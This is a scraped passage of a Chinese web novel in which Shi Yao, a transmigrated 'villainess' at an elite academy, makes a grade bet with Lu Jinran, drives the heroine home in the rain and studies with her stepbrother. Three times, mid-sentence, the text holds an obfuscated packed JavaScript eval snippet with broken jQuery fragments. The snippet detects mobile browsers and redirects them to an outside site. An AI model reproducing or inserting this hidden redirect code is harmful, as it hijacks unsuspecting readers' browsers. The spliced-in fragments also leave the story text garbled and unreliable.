衣袂擦过时,温言律却控制不住抬眼看她。只觉得她的侧脸平静坦然,没有了往日里时常挂着的愚蠢和迷恋。
刚刚时谣大声说不喜欢他的声音似乎再一次在耳边响彻。
但温言律轻轻扫了一眼她手中错误满满的数学试卷上,又冷淡地垂下了眼。
这种没脑子的女人,喜不喜欢他,又有什么好值得在意的?
反正他是不会喜欢她的,这辈子都不可能喜欢。
……
回到班里的时候还是课间,但是出乎时谣的预料,10班现在已经乱成一锅粥了。
她疑惑地看了看被围得水泄不通的10班门口,又听见里面传来一道愤怒的声音:“她可是我陆烬燃罩着的人,你们以为仗着时谣的狗势就可以随便欺负她?!”
时谣:“……?”
这声音有点熟悉,还骂她是狗,时谣拨开人群一看,果然是陆烬燃那个小学鸡。
此时教室里分为两派,一派是陆烬燃,和躲在陆烬燃身后瑟瑟发抖的姜望舒。
另一派赫然是朱颜和温馨然,她们看起来神色慌乱,身边是倒下的书桌,里面的东西散落一地,看上去一片狼藉。
陆烬燃护着姜望舒,继续指着两人的鼻子道:“是不是时谣指使你们的?她人在哪?虽然我说过再也不想见到她,但是她要是用这种手段引起我的注意,我也不介意再把上次的话重复一遍!”
时谣没在脑子里搜刮出相关记忆,于是问系统:“他上次跟我说了什么?”
系统:【他说你不要脸,不知廉耻,他最烦你这种跟三个男人纠缠不清的女人。还说你要是再欺负姜望舒,他一定会给你点颜色瞧瞧。最后让你滚,别再出现在你面前。】
系统补充:【但是原主觉得,陆烬燃是因为她同时喜欢三个人所以吃醋了,于是纠缠得更加变本加厉。】
时谣:“?”谢谢,但是最后一句话可以不用加的。
朱颜慌乱道:“陆少,不关谣姐的事情,是姜望舒先污蔑谣姐抄答案我们才……”
“抄答案?姜望舒性格那么善良,怎么可能污蔑别人,我看应该是她说中了事实,所以时谣破防了吧?”
陆烬燃嘲讽一笑:“而且提前背好答案上讲台装逼这种事,我看以时谣爱出风头的毛病,也确实干得出来。”
什么鬼啊,她都不在场,这个姓陆的还字字句句在针对她,是不是有毛病?
时谣随机抓了个吃瓜群众询问:“这是怎么回事?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996694|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那人一看问话的是时谣,立刻竹筒倒豆子般地将事实交代了出来。
时谣皱着眉,听明白了事情的来龙去脉。
原来在她走后,班里对她突然会做数学压轴题这件事产生了巨大的讨论。不少人觉得,这道题连年级第二的姜望舒都没拿满分,时谣这个垫底学渣怎么可能做得出来?
加上老师下课后把时谣叫走的暧昧态度,更加坐实了同学们的猜测,时谣肯定是不知道从哪里抄的答案!
整个班里只有朱颜和温馨然这两个时谣的忠实小跟班力排众议,试图告诉众人她们早上看到了时谣做题,时谣绝对没有抄,可没有人相信她们。
有人问姜望舒:“望舒,我们班就你成绩最好了,你觉得时谣可能做出这道题吗?”
姜望舒下意识攥紧了掌心,垂着眼眸看着演算到一半的草稿纸,迟疑道:“我不知道……按照时谣平时的成绩来看,应该做不出来吧。但是……”
但是她讲题的样子又那么自信,姜望舒觉得,时谣应该是会的。
但同学们已经得到了自己想要的答案,无人在意姜望舒接下来要说什么,只是挑衅地看向了朱颜二人。
“听到没?我们班的学霸,姜望舒,也觉得你们老大是抄的!”
朱颜和温馨然跟着以前的时谣混久了,脾气可是一点就炸。
在有人恶意拱火下,她俩直接把矛头对准了姜望舒:“你这个不要脸的死狐狸精,以为考到年级第二就了不起啊?!你凭什么说我们谣姐是抄的?!你看到她的努力了吗?!”
于是一场战争直接爆发。
陆烬燃听到消息赶来的时候,姜望舒的书桌已经被两人掀翻。姜望舒被吓得站在一边,无措地看着愤怒的两人。
时谣没想到两人是为了自己出气,眸光闪了闪,沉默住了。
见时谣被污蔑,温馨然又急又气:“不是!我看到了,就是我们谣姐自己做出来的!她还上台讲了做题思路,如果她是抄的答案,怎么可能讲得出来!”
眼看矛盾要升级,时谣及时出现,示意她冷静下来。
两人好像找到了主心骨:“谣姐!”
眼见两人一脸委屈地就要跟自己告状,时谣冷静地打断了她们:“事情的经过我已经知道了,这件事跟姜望舒无关,先把她的桌子扶起来吧。”
朱颜急了:“可是谣姐,他们都在污蔑你!”
时谣摇了摇头:“一码归一码。”
两人看了看时谣的表情,忍下怒气,将倒塌的书桌扶了起来。
时谣也没搭理陆烬燃,只是蹲下一起收拾着散落一地的书籍和试卷。
陆烬燃本来还在等时谣如往常那般低声下气地过来跟他解释,但自从时谣出现到现在,一个眼神都没给他,内心无端有点不爽。
陆烬燃看着时谣的身影冷嗤:“时谣,你又在跟我玩欲擒故纵的把戏吗?不就是你指使他人欺负姜望舒引我过来的吗,现在又装什么好人啊?”
时谣没理他。
陆烬燃提高了声音:“喂,时谣,快来给姜望舒道歉!”
时谣将手中的资料堆叠整齐,放到了姜望舒的桌子上。
陆烬燃被无视到现在,超级不爽。但他突然又想到什么,冷笑了一声。
“我没记错的话,你身后这两个人这一个学年里经常是倒数一二名吧?按照校规,在一学年内拿满三次倒数第一的学生会被学校劝退。看来你的小跟班,要离开圣斯特学院了呢。”
朱颜和温馨然闻言,面色都是一白。
果然时谣终于回过头,从她走进这间教室以来,第一次用正眼瞧他。
其实陆烬燃长得很好看,脸庞棱角分明,五官大气,整个人的气质潇洒又不羁,是很能吸引迷妹的长相。
见时谣终于神色不虞地回头看他,陆烬燃像一个坏心眼得到实施的顽童那般,对着她恶意地笑了起来。
5. 打赌
“哦,对了,我还记得学校对四大家族的人要求会更高,一学年有三次掉到倒数五十名开外,也是会被劝退的。”
陆烬燃向时谣走近两步,欣赏着她的表情,居高临下。
“如果没记错的话,时谣,你这次月考已经是第三次考到倒数五十开外了。”
“所以,你也要退学。”
圣斯特学院一向注重培养高质量贵族,对于学生的成绩十分看重。因此为了激励学生积极内卷,在建校时期就确立了末位淘汰制。
除温家、苏家、陆家和晏家的后代以及特招生之外,其他学生如果一学年内三次拿到倒数第一,就将从学校里退学。
四大家族的人和特招生的要求会更高。
但是自从新校长上位以来,这个校规就有很长一段时间没有启用了,对于倒数的学生学校也只是睁一只眼闭一只眼。此时陆烬燃突然提出重新启用这个校规,很明显是夹杂了一点私人恩怨在。
那顽劣恶意的表情,让时谣忍不住用一种古怪的表情打量着他,然后诚恳发问:“你是不是有病?”
陆烬燃笑容一僵:“什么?”
“你一边说着再也不想见到我,一边又故意往我面前凑,这不是有病是什么?难道说你想引起我的注意?”
陆烬燃愣住,然后破大防:“时谣,你才有病吧!我可是想让你退学你居然说这是我想引起你的注意?!”
他露出一种嫌恶的表情,感觉真是要疯了,时谣这人怎么这么不要脸,净往自己脸上贴金?
见到陆烬燃一副生吞了一千只苍蝇的表情,系统忍不住发问:【宿主,这样得罪f3会不会不太好?】
时谣:“我今早都给f2竖中指了,你觉得我怕这个?”
要得罪就得罪个彻底嘛,反正后期他们发疯都是因为女配欺负女主,那只要她跟女主打好关系,除了她哥的这几个男主不是随便得罪?
时谣把目光投向了躲在陆烬燃身后的女主身上。
姜望舒身材纤弱,在这种剑拔弩张的场合下,显得像块易碎的小蛋糕那样,无措极了。
她似乎没想到事情会发展到退学这个地步,迟疑地拉住了陆烬燃的袖子:“会不会有点太过分了……”
察觉到时谣一直在看姜望舒,陆烬燃立刻跟个母鸡护崽一样,将她护在身后。
“难道你想再被她欺负吗?”
不想……
姜望舒的睫毛颤动了一下,最终还是无措地看向时谣。
那一眼让时谣对她的好感暴增。
女主怎么这么可爱啊!她可是欺负过她的恶毒女配诶!这么善良的女主角到底谁舍得欺负她!
朱颜和温馨然没有想到自己的一时冲动居然闹到了这种地步,脸色都是越来越白。
时谣道:“朱颜有一次缺考了,缺考拿到的倒一并不算进成绩里。而且我记得上学期期末考试因为题目泄露,全年级的成绩都作废了。就算你要用这条校规压我们,我们都还各有一次机会。”
陆烬燃傲慢地打量着她:“那有什么区别?反正你又不爱学习,给你机会也是退学的命运,还不如现在就退了,省得丢我们学校的脸。”
时谣都快被他颐指气使的样子气笑了。
“陆烬燃,你不就是仗着我以前喜欢你才这么嚣张吗?第一,今天弄倒姜望舒的桌子不是我指使的,另外我会跟姜望舒道歉,但不是因为这件事;第二,你今天一直恶意针对我的样子我恶心透了,如果我下次考试没有被退学,你能不能全校公开对我道歉?!”
陆烬燃没想到一向对他百般讨好的时谣今天居然对他发脾气,也是被气笑了。
“你不就是那种喜欢指挥小跟班欺负别人的人吗,我哪次冤枉过你了?还摆脱倒数前五十就想让我跟你道歉?做梦吧时谣,等你哪天成绩超过了我再说!”
陆烬燃的成绩虽然不如f4里的其他三人,勉强算个1班吊车尾,但是他的成绩对于年级吊车尾的10班人来说,想超越还真不是一件容易的事。
但时谣怎么会怕他?她冷漠地看着陆烬燃,轻轻掀唇:“行啊。如果我下次考试超过了你,你就写一封一千字的道歉信全校公开朗读!”
“那要是你没考过我,你就退学,从我眼前彻底消失。”
“可以。”
见她自信应允,陆烬燃觉得她还真是自讨苦吃,胜负欲一起来,连自己几斤几两都忘记了,她一个年级倒数还想着在一个月内超过他?这和秋后问斩有什么区别?
陆烬燃讽刺道:“这么有自信?别到时候死皮赖脸不肯退学,哭着求晏叔叔帮你收拾烂摊子。”
时谣转过身,直接对着所有人道:“在场的所有人都可以为我见证,我时谣说话算话,赌约成立,绝不反悔。”
陆烬燃见她这么有决心,意外地挑了挑眉,难得高看她一眼。
这还真不像平时那个时谣了,但谁又这道这是不是她想引人注意的新把戏?
“行,那我就等着你在下次月考超过我了。”
他一字一顿,刻意加重了后面几个字,挑衅地看着时谣。
陆烬燃的目光越过她,看向了时谣身后的两人。
“现在,向姜望舒道歉。”
他声音冷冷的,带着不容拒绝的压迫感。从四大家族出来的人都天生自带一种上位者气场,简单的命令一出,就不由自主地让人想臣服。
见时谣没说什么,两个小跟班也知道今天自己过分了,连忙煞白着脸对姜望舒道:“对、对不起!”
“姜望舒是我罩着的人。”陆烬燃一扬下巴,对着所有人道,“以后你们谁想欺负她都得掂量掂量,你们惹不惹得起我!”
此话一出,宣示着明晃晃的保护。
除了时谣,在场不少人其实也因为姜望舒的特招生身份欺负过她。陆烬燃高调向所有人宣示主权,一时间许多看向姜望舒的眼神都复杂了起来。
陆烬燃威胁的目光扫向时谣。
“尤其是你,时谣。”
时谣冷淡道:“陆烬燃,我不喜欢你了,我也不会再针对姜望舒。”
陆烬燃耸了耸肩,没当回事:“你最好是。”
他转身朝门口走去,围在门口的人都自觉地分开了一条路。
等他离开,教室的议论声才又响了起来:
“时谣居然说大话要超过陆烬燃?!不会又是想引起陆少注意的手段吧?!”
“谁知道呢,反正我可是期待着她从圣斯特退学。”
“陆少怎么那么护着那个特招生啊,真让人嫉妒。”
“时谣是真不喜欢陆少还是说气话啊?她以后真的不欺负姜望舒了吗?”
“……”
许多的讨论声不绝于耳,时谣只是淡淡地扫了他们一眼,在她具有压迫感的目光下,声音渐渐微弱,都乖觉地做自己该做的事情去了。
朱颜和温馨然看着时谣,一脸担忧。
“谣姐,你那个赌约是真的吗?”温馨然小心翼翼地问道,虽然时谣今早说想考年级第二,还做出了压轴题,但时谣平时的成绩是真的太差了。
“认真的啊。”时谣道,“你们也不用担心我了,先想想怎么在下次考试摆脱倒一吧。”
朱颜也没信时谣有这个实
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996695|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
力,但她很感动时谣为她们出头,也对给她带来麻烦感到歉疚。
她们摆脱倒数第一容易,但是时谣,可是要挑战1班的陆烬燃啊!1班那可是年级前三十的聚集地!
从倒数第八逆袭到年级前三十,在这个学霸云集的圣斯特学院,这怎么可能做到!
朱颜难过道:“对不起谣姐,都怪我们逞一时之气,我、我不想你退学……”
时谣无奈道:“你们也是为了我,但下次不要那么冲动了。而且还没开始考呢,别贷款我一定会输啊。”
她和陆烬燃立下这个赌约可并不是一时置气,而是她如果想摆脱恶毒女配的身份设定就必须做出改变,实力就是最好的证明。
何况她成绩突然变好这件事终归瞒不住,不如借着这个机会给自己顺手洗白。
她看了看两个垂头丧气的小跟班,又觉得好笑,忍不住伸出手,一左一右,摸了摸两人的头。
“我当然是有把握才答应下来。”时谣和蔼道,“你们相信我。”
望着她胜券在握的双眼,两人莫名觉得现在的时谣身上有种能令人信服的魅力。顿了顿,眼底重燃信心:“嗯!我们一起加油!”
时谣微笑着看着重新打起精神的两人,目光却不自觉地轻移,落到了一旁安静坐着的姜望舒身上。
她身形单薄,却好像一棵杨柳。
任凭雨打风吹,却始终坚定地站在那儿,抽枝发芽。
……
时谣和陆烬燃的赌约一传十,十传百,很快全校都知道了。
时谣却并不在意外边的传言,她将这次的月考卷子重新做了一遍,又给自己估算了分数。
虽然是玛丽苏文,但学的知识并没有差距,甚至与时俱进地采用了新高考选科制度,除了语数外三门科目以外,其他剩下的六科主科任选三科,组成高考六科。
分数制度也是采取百分比赋分制,即通过卷面成绩进行排名,取百分比重新赋分。
这种制度虽然麻烦,但是做到了公平,因此圣斯特学院的年级大榜也并不需要分传统的文理科,直接赋完分300个人从高到低往下排。
不知道是不是巧合,原主的选科居然跟上辈子时谣的选科一模一样。时谣没什么阻碍地做完了全套卷子,却对自己估算出的分数陷入了沉思,最后在草稿纸上写下一个数字:699。
每张试卷的分数相加就是这个数字,只是时谣不知道其他人的成绩,不知道赋完分最后的分数会是多少。
整间教室里的人已经走光了,时谣抬起头来,看着窗外暗沉的天色,很快一道闪电劈过,撕裂天幕,急切地下起了雨。
好在时谣平时有司机来接,但再晚一点可能就连教学楼都出不去了。
时谣匆忙收拾好书包,在雨还没下大之前坐进了自己的专车。
司机探出头,关切地问:“小姐没淋湿吧?夫人特地为您准备了红糖姜茶在车上,如果觉得冷可以喝一点。”
时谣摇摇头,对他露出一个笑:“我没事,雨天路滑,我们小心回去。”
司机从没看过时谣笑得这么甜,一时间有些惊奇,似乎也被她的笑容感染了,启动了车子:“好叻。”
车子行驶得并不快,雨却越下越大了。时谣百无聊赖地看着车窗外的景色,突然看见一个没有撑伞飞奔而过的人影,愣了一下,突然叫停。
司机听她的话往旁边靠,时谣撑着伞走下去,喊住了那个在雨中狂奔的身影。
“姜望舒!”
好在她的声音没有被雨声淹没,奔跑的少女停下,疑惑地回了头,试图寻找着声音的来源。
6. 道歉
没认错人!
时谣眼前一亮,跑过去拉住她的胳膊,将伞高高举过头顶,往她的方向倾斜过去。
“雨太大了,你跟我走。”
时谣不由分说地拉着她往车的方向走,姜望舒见是时谣,下意识抗拒:“不要……”
“什么不要的,你淋着雨跑回家会感冒的,我送你回去。”
时谣没给她拒绝的机会,强硬地将她塞进车里,自己收了伞,也坐上了车。
姜望舒此时全身湿透,单薄的衣衫紧紧地贴着少女瘦弱的躯体,海藻般的长发垂下来,正在不住地往下滴水。
她似乎对浑身湿透坐上别人的车这件事感到非常无措,想要逃跑,却被时谣一把按在座位上。
时谣看向司机,吩咐道:“开车吧。”
姜望舒僵硬地看着她,车子缓缓启动,她彻底失去了跑路的机会。
“你身上都湿了,擦一擦吧?”时谣给姜望舒递去一包纸巾,漂亮的眼睛里布满了关切。
姜望舒一顿,顺着她纤长的手指往上看,却撞进了她柔和的双眼里。
平时看到她就开始尖酸刻薄嘲讽的时谣,居然会对自己露出这样关切的眼神吗?
姜望舒小心地接过时谣手里的纸巾,动作飞快地清理着身上的水。
时谣见她低着头不和自己对视,便问道:“你住哪里?我送你回去。”
姜望舒犹豫了一下,只是道:“我在花区第五街道下车就好了,谢谢你。”
她的声音很缓很轻,身上的水已经清理得差不多了,湿透了的纸团被她紧紧攥在手心里,整个人单薄地蜷缩在车厢的角落,似乎生怕自己将车上的的名贵皮具弄脏。
小心翼翼的样子,居然还有些可爱。
时谣讶异道:“花区离学校还挺远的,你就打算淋雨回去吗?”
姜望舒没有吭声。
时谣便也没有追问,怕她感冒,便给她身上披了条毯子,然后将时婳给她准备的红糖姜茶递给姜望舒。
姜望舒被她突如其来的动作吓了一跳,见她将名贵的毛毯往自己身上裹,浑身僵硬道:“会弄脏的。”
弄脏了的话,她赔不起。
时谣道:“过时了的东西,本来打算丢了的。”
姜望舒顿了顿,只是接过了她递来的红糖姜茶,小声地说了句谢谢。
两人平时见面都是剑拔弩张的,倒还是第一次这么心平气和地坐在同一辆车内,时谣见姜望舒拘谨,便也没有刻意搭话。
于是两人一路上便再也没了沟通。
花区在本市的四环开外,是一片老建筑了。
和时谣平时居住的富人区并不同,这里充满了生活的烟火气息,街道的两边布满了商贩,卖各种小吃的都有。
晏家的饭菜很香,但人总是会被一些垃圾食品吸引,时谣眼巴巴地盯着卖酱香饼的小摊子看,又看了眼路牌,记住了地名。
下次倒是可以自己来这边吃呢。
见时谣盯着琳琅满目的商铺,姜望舒不自觉地拉了一下身上裹着的毯子。
时谣的侧脸是那么精致美丽,是妥妥的千金大小姐,她应该从来没有到过这么脏乱差的环境里吧,姜望舒自卑地想。
但她又绞紧了自己的衣摆,觉得这一幕给人一种荒谬感。平时看她横竖不顺眼的时谣……今天居然主动送她回家?
是真的好心,还是不怀好意呢?
姜望舒不觉得时谣会对自己释放善意,但是她又想到了时谣在雨中自然地向她倾斜过来的伞,眸光闪了闪。
车子缓缓停在街口,司机对着两人道:“到地方了。”
雨还在下,姜望舒看了一眼窗外的景色,郑重地对时谣道:“谢谢你今天送我回来。”
时谣回过神来,将伞递给了她。
“不客气。”时谣的语气和缓,“别再淋雨了。”
“还有这个也带走吧,扔了还是洗干净留下,都随便你。”
时谣指了指她身上的毛毯,歪头轻笑。
姜望舒还是第一次见时谣对自己笑得这么温暖,以往时谣欺负自己时,脸上的笑都是浮夸又恶意的,现在的时谣却让人无法讨厌。
而且时谣长得真是太好看了,就跟个漂亮的bjd娃娃似的,姜望舒的视线不自觉地被时谣吸引着,轻轻攥紧了手里的纸团,低声答应。
她正要离去,时谣却突然拉住了她的手。
姜望舒回头一看,却对上了时谣诚挚的双眼。
“我以后不会再欺负你了,以前的事,对不起。”
她虽然不是原主,但她占据了原主的身份,这个道歉无论如何她都需要说。
姜望舒定定地看了她一会儿,垂下眼,没有应答,只是将手抽开。
见姜望舒的身影渐渐远去,雨雾将她的身形衬得更加单薄,时谣不由得担忧地皱起了眉。
她刚刚好像脸红了,不会发烧了吧?
时谣也不觉得姜望舒会接受自己的道歉,如果所有的伤害都因为一句道歉就能一笔勾销的话,那这个世间还有什么公道可言呢。
但至少姜望舒并没有拒绝她的好意,这一点就够了。
……
【朱颜:啊啊啊啊啊啊谣姐,数学真的好难啊!什么等差数列等比数列,这些公式到底要怎么运用嘛!!】
【温馨然:呜呜谣姐能不能给我讲一下这道阅读理解,为什么不选A要选C呢,这两个选项不是一个意思吗?】
时谣在书桌前坐下,查看着两个小跟班的短信轰炸。
由于今天和陆烬燃打了一个天大的赌,就连校方都注意到了,不过没人对这个赌约发表意见,校学生会甚至特意来人给本学期成绩即将不达标的同学都发了退学预警,那鲜红的校章盖在白纸黑字之上,带着浓浓的警告意味。
因为成绩太差被圣斯特学院退学,说出去都是天大的丑闻,会被人耻笑一辈子的那种。
时谣对自己的成绩有自信,所以没把那退学预警当回事,反倒是朱颜和温馨然怕被退学,连忙火急火燎地开始学习了。
只是她们的基础都太差了,时谣开了视频给她们讲了几分钟,却发现两人都是一脸呆滞,很明显知识没进脑子。
时谣看了看两人:“你们有哪里不懂吗?”
两人这才从呆滞的状态里回
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996696|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过神来,似乎有些尴尬。
她们老大什么时候变得这么厉害了?讲题的时候逻辑好清晰,虽然两人听不懂她在说什么,但是认真起来的时谣散发着一种格外吸引人的魅力,让她们无法将视线从时谣的脸上移开。
而且无论看了多少次还是觉得,谣姐真的长得好好看啊……
“其实……从一开始就没听懂。”温馨然的脸有点红,她不好意思地道,“为什么这道题要用这个公式呢?”
时谣耐心解释:“这道题目一开始需要简化算式,用这个公式简化后,后面的步骤才能算下去。”
“用另一个公式没办法简化吗?”
时谣扶额:“不能。”
又讲了几十分钟,两人还是没懂,时谣知道数学这个科目两人是学不明白了,便开始讲英语。
结果两人词汇量根本不达标,一篇阅读理解里面有大半的词需要查字典,时谣终于明白对牛弹琴是怎样的,只觉得头疼:“你们这样做不了题,先把单词背了再说。”
老大发话,两人便拿着英语单词,视死如归地开始背了。
两人的基础实在不行,要想摆脱倒数,得先把基础打牢,时谣让两人把月考卷子发给自己看,根据两人的错题整理出了相关知识点,让两人先背着。
做完这一切,时谣退了视频。
今天的作业已经在学校做完了,高二的知识对于时谣来说难度并不大,但她也没闲着,将今天做的竞赛卷子拿出来看。
老师给的答案非常简略,大题更是只给了一点思路和最终的答案,时谣照着参考答案的思路思考着,却始终觉得还差一步才能往下思考。
难道是自己的方法不对吗?
时谣第一次觉得数学这么难,甚至开始怀疑上辈子学的所有知识都白费了,明明都已经给了明确的思路,但为什么就是算不下去?
但时谣是越挫越勇的性格,她喜欢迎难而上,征服难题会让她产生极大的成就感。
这种思路不行,那便换一种。
时谣换了张新的草稿纸,又沉浸在自己的思维里了。
不行,还是不对。
一个小时后,废了十几张草稿纸的时谣终于茫然地抬起头,看着演算到最后终究还是卡壳了的解法,轻声叹息。
“……你这个思路是对的,但是差了一个关键公式,所以你做不下去。”
时谣猛地回头,看着不知道什么时候出现在自己身后的晏羽。
晏羽靠得很近,骨节分明的手指撑在她的椅子靠背上,衣服扣子一丝不苟地扣到了最上面,脸上一如既往的平静淡漠,好像天生就没什么表情。
他的阴影投在书桌上,一动不动,也不知道在她身后站了多久。
没想到自己沉浸到连晏羽什么时候进了自己的房间都不知道,时谣有些尴尬,不自觉地往椅子另一边缩了一下,故作理直气壮:“你、你进来怎么不敲门?”
晏羽看了她一眼:“阿姨都上来敲了多少次门了你都没听见,我进来看看你在干什么。”
然后他俯下身,伸手轻点她草稿纸上其中一个步骤。
他靠得更近了。
7. 兄妹
时谣甚至能闻到他身上新换的洗衣液的味道,和自己衣服上的味道一模一样,但是那香味闻起来却比她身上的更清冽。
“从这里开始,你需要一个新的公式。”
晏羽视线轻扫困扰了时谣许久的那道题目,居然直接拿起她放在桌上的笔,在草稿纸上写了一串陌生的字符。
“这个公式的意思是……”
时谣一开始还因为晏羽的突然靠近而不自在,但晏羽的声音很淡,讲起题来又简单易懂,时谣很快就被他的话吸引过去。
时谣专注地听着,在了解了这个公式的用法之后,阻塞的思路好像被打开,她眼前一亮。
“那是不是可以这样算……”
时谣脑子转得飞快,迅速地写出了计算过程。
很快她就解出了这道题,时谣拿起草稿纸,巨大的成就感涌上心头,眼睛亮亮地给晏羽展示。
晏羽倒是没想到她那么快就吸收了新知识,微顿,肯定了她的答案:“是这样算的。”
他的眉头微蹙,不动声色打量着时谣:“你倒是没我想象中那么笨。”
“你以前都不理我,怎么知道我到底聪不聪明啊?”时谣解出了题目,心情还挺好的,因此对这个关系并不好的继兄也多了几句话,“不过这个公式我怎么没见过,是高中的知识点吗?”
“大学知识,线性代数的一个基础公式。”晏羽淡淡道。
时谣好奇地看着他:“你居然会大学知识。”
“这有什么好奇怪的?温家那小子也早就会了。”
作为大家族的继承人,家族会有要求提前学会一些知识。像是晏羽和温言律这种天资不错的,早就已经把高中知识嚼烂了,现在正在额外学大学的高等数学。
时谣又听到了温言律的事,不由得一怔,原来那些所谓的天才,会比普通人更早接触新的教育阶段啊。
她以为自己高考完重回高二,就能打遍高中无敌手,现在想想这种想法还真是傲慢得有点可笑。
时谣低头看了看那张试卷,突然认真地看向晏羽:“我可以学吗?”
“……什么?”
“大学知识,我也想学。”
晏羽皱眉道:“以你的成绩,你学不会。”
但他又扫了眼时谣手上的卷子,没记错的话,这应该是今年新出的竞赛卷。
这张卷子他也做过,难度很高,很难想象平时连导数都导不对的时谣突然开窍,已经会做竞赛卷子了,就跟换了一个人似的。
“这张卷子你以前做过?”
晏羽盯着时谣,他的视线很淡,看不出过多的情绪,左手依旧撑在椅背上,身影将时谣整个人笼罩在内,给人一种极强的压迫感。
或许是习惯了做上位者,他的语气里没给时谣拒绝回答的余地。
时谣见他俯视自己,也抬头去看他,但那双乌黑的眼睛里却看不出一点害怕,反倒是灵动地转了转,笑着反问:“当然没做过,哥哥是以为我做不出来这种题吗?”
那声“哥哥”很是清脆,晏羽心间颤了一下,不自觉地放缓了语气:“以你的成绩,你做不出来。”
但时谣却不以为意,只是摇摇头:“你又不了解我,你怎么知道我做不出来?我以前的成绩难道就是我的真实水平吗?有没有一种可能是我以前比较恋爱脑,无心学习,才给人一种我成绩很差的假象呢?”
系统夸她:【宿主好聪明!晏羽根本不了解原主,就算他怀疑你不是原主也找不到证据!】
晏羽心底的那点怀疑还没消,不过除了她本来成绩就不错,只是不好好考试之外,好像也没什么理由解释她的水平在一夜之间突飞猛进了。
他又审视了时谣片刻,想起她和陆烬燃的赌约,不自觉地眯了眯眼。
他本来以为那个赌约是时谣和陆家那小子调情的新手段,还用退学做赌注,真是不知天高地厚。
于是作为校学生会会长的他便亲自给时谣的退学预警盖了章,以此警示这个无理取闹的继妹这并不是一件能用来开玩笑的事。
但晏羽也不知道自己今天是怎么回事。
明明知道她自讨苦吃和陆烬燃打赌的时候,他应该幸灾乐祸的,可是在想起时谣昨天看向他时那悲悯的一眼时,他却不由自主地来到她的房间,想要看看她在干什么。
然后他发现时谣真的在做题,甚至做的是高难度的数学竞赛卷子,而且第一面……全对。
晏羽蹙眉,只觉得自己对时谣长久以来的认知似乎有很大的偏差,她似乎没有自己想象中的那么笨,也没有以前那么不可理喻。
晏羽终于松开了搭在她椅背上的手,不轻不重地扫了她一眼。
“下去吃饭,别让其他人等。”
时谣因为他今天难得对自己的好态度感到意外,见他转身要走,连忙跟了上去。
“哥哥,等等我。”
那声“哥哥”似乎让晏羽的脚步停顿了片刻。
然后,他却走得更快了。
……
来到餐厅的时候,晏修远和时婳已经在餐桌旁坐好了。
“爸爸妈妈,晚上好。”
时谣嘴甜,还没到餐桌上就先叫了人。
晏修远笑着看向她:“佣人说你今天很用心地在学习?我们谣谣今天转性啦?”
时婳一脸担忧地看着女儿:“怎么学到这么晚?累不累啊?”
两个家长你一言我一语,却无人关心率先抵达的晏羽。
直到晏羽沉默地在桌子旁坐下,晏修远才皱了皱眉:“一天到晚板着个脸,也不知道叫人,学学你妹妹。”
面对父亲的斥责,晏羽只是一顿,随即就习以为常地开始动起了筷子,把晏修远当做不存在。
晏修远被无视,眉毛一拧:“说你呢,有没有听见?”
父子两人关系一直都是这么剑拔弩张,经常因为一点小事就开始吵架。
“听没听见又怎么样?您在乎过我吗?”
晏羽的声音冷冷的,父子俩之间的空气充满了火药味。
时婳知道这种场景下如果自己上前劝说,只会加重这个继子的反叛情绪,只能无措地看着两人。
时谣有点不习惯这种一言不合就吵架的氛围,她只是下来之后先跟爸爸妈妈打了个招呼,却没想到招致了晏羽和晏修远之间的矛盾。
晏修远不满道:“你真是越长大翅膀越硬了,怎么这么跟爸爸顶嘴?你但凡有你妹妹一半乖巧,我也不用天天为你操心!”
晏羽很讨厌晏修远把他跟时谣对比,时谣在家里表现得乖巧,但是在家人看不见的时候就是个无法无天的小魔女。
但是除了晏羽,家里没有人觉得时谣不乖,反而听信小魔女的谗言,对他这个亲生的儿子满腹怨言。
他冷笑一声,正要呛回去,却见时谣率先开口劝住了晏修远:“爸爸吃饭吧,哥哥他刚刚给我讲题讲累了,您就不要责怪他了!”
时谣拉住晏修远的手,眼睛亮晶晶的,带着诚恳的祈求。
父子好像是天生的仇人,在时谣的记忆中,晏修远与晏羽的关系好像一直都不怎么样,尤其是在她和妈妈搬进晏家之后,两人的关系就越来越敌对了。
一个不满于父亲的专制,另一个则不满于儿子的冷淡。
也正是这么凉薄的父子关系,才能被原主三言两语地挑拨,使得晏羽在未来变得越来越冷漠无情。
“讲题?”晏修远的面色这才和缓一点,冷哼一声,“算这小子还有个人样,终于会关心一下妹妹了。”
晏羽皱眉,一声“她才不是我妹妹”刚到
